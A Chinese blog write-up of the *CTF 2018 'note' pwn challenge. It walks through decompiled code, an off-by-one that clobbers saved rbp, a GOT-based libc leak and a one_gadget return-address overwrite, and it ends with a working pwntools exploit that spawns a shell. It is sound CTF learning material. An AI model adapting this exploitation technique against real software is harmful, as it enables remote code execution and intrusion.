美文网首页
startctf_2018_note

startctf_2018_note

作者: pu1p | 来源:发表于2018-05-18 17:46 被阅读52次

    0x00 背景

    0x01 程序分析

    1. checksec

    [*] '/mnt/hgfs/games/startctf_2018/note/note'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    
    

    运行流程

    主函数如下:

    void __fastcall main(__int64 a1, char **a2, char **a3)
    {
      char *v3; // rax
      __int64 *v4; // [rsp-8h] [rbp-28h]
      int buf; // [rsp+Ch] [rbp-14h]
      const char *fmt; // [rsp+10h] [rbp-10h]
      char *v7; // [rsp+18h] [rbp-8h]
      __int64 savedregs; // [rsp+20h] [rbp+0h]
    
      v4 = &savedregs;
      sub_400C3D();
      fmt = "%d";
      openfile();
      v7 = readfile();
      show_menu();
      while ( 1 )
      {
        printf("> ", a2);
        a2 = (char **)&buf;
        if ( (signed int)_isoc99_scanf(fmt, &buf) <= 0 )
          break;
        switch ( buf )
        {
          case 1:
            printf("Note:", &buf);
            v7 = edit_note();
            break;
          case 2:
            a2 = (char **)v7;
            printf("Note:%s\n", v7);
            break;
          case 3:
            save_note(v7);
            puts("Saved!");
            break;
          case 4:
            fclose(stream);
            v3 = change_id((const char *)&g_str);
            unlink(v3);
            openfile();
            puts("Done!");
            break;
          case 5:
            if ( stream )
              fclose(stream);
            exit(0);
            return;
          default:
            puts("Invalid choice");
            break;
        }
      }
      exit(0);
    }
    

    首先输入id, 程序将其保存在一个全局变量里面. 然后用户可以选择不同的功能, 执行对应的函数. 因为这道题的利用过程只需要使用main函数和 edit_note函数, 所以其它的函数就不分析了.
    edit_note:

    char *edit_note()
    {
      char s; // [rsp+0h] [rbp-100h]
    
      _isoc99_scanf("%256s", &s);
      return strdup(&s);
    }
    

    0x02 漏洞分析

    可以看到edit_note中有一个off_by_one漏洞, 若果输入256个字符的话就可以覆盖ebp的低字节为\x00:
    进入edit_note之前:

    *RBP  0x7ffd44e50e78
    *RSP  0x7ffd44e50e58
    

    读取256个a之后退出edit_note之后:

    *RBP  0x7ffd44e50e00
    *RSP  0x7ffd44e50e58
    

    可以看到rbp的最低字节被覆盖为了\x00,

    0x03 利用过程

    我们利用上面的漏洞就可以控制读取用户选项的格式化字符串了(fmt rbp-10h).我们可以将其修改为"%s". 同时因为读取的输入也是根据rbp寻址的(buf [rbp-14h]), 于是我们就可以用通过控住输入的字符串来覆盖 v7 为puts 的got表地址, 从而得到libc的基址. 我自己做题的时候就做到了这儿, 因为这道题有一个特点:主函数没有return, 而是直接通过 exit 退出的. 所以我没办法ret. 后来看官方wp才意识到我漏了一个细节: 覆盖完rbp低字节后:rbp就比rsp小了, 这也就意味着我完全可以覆盖rsp附近的值: 我可以覆盖scanf的返回地址!, 后面的就很简单了, 用one_gadget找一下:

    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL
    
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL
    
    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
      [rsp+0x50] == NULL
    
    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    

    根据之前得到的libc地址计算一下偏移覆盖即可.

    0x04 exp

    from pwn import *
    
    
    io = process('./note')
    elf = ELF('./note')
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    
    puts_offset = libc.symbols['puts']
    io.recvuntil("ID")
    
    io.sendline("abc")
    
    io.recvuntil(">")
    io.sendline("1")
    
    fmt_string = 0x0000000000401129 #"%256s"
    puts_got = 0x0000000000601F90
    io.recvuntil("Note:")
    io.sendline(('a' * 168 + p64(fmt_string)).ljust(256, 'a'))
    io.recvuntil(">")
    
    io.sendline(p32(2) + p64(fmt_string) + p64(puts_got))
    
    io.recvuntil('Note:', drop = True)
    
    puts_addr = u64(io.recvuntil('\n', drop = True).ljust(8, '\x00'))
    print("puts_addr: ", hex(puts_addr))
    
    libc.address = puts_addr - puts_offset
    
    
    io.sendline("a" * 0x64 + p64(libc.address + 0x4526a) + '\x00'*0x40)
    io.interactive()
    

    0x05 收获

    官方wp用的是ret2csu, 学习了一波
    总算用了次one_gadget
    知道了fit()这个函数, 感觉很有用

    <font color=pink>create by pu1p at 2018-05-18 17:18:10</font>

    相关文章

      网友评论

          本文标题:startctf_2018_note

          本文链接:https://www.haomeiwen.com/subject/xotndftx.html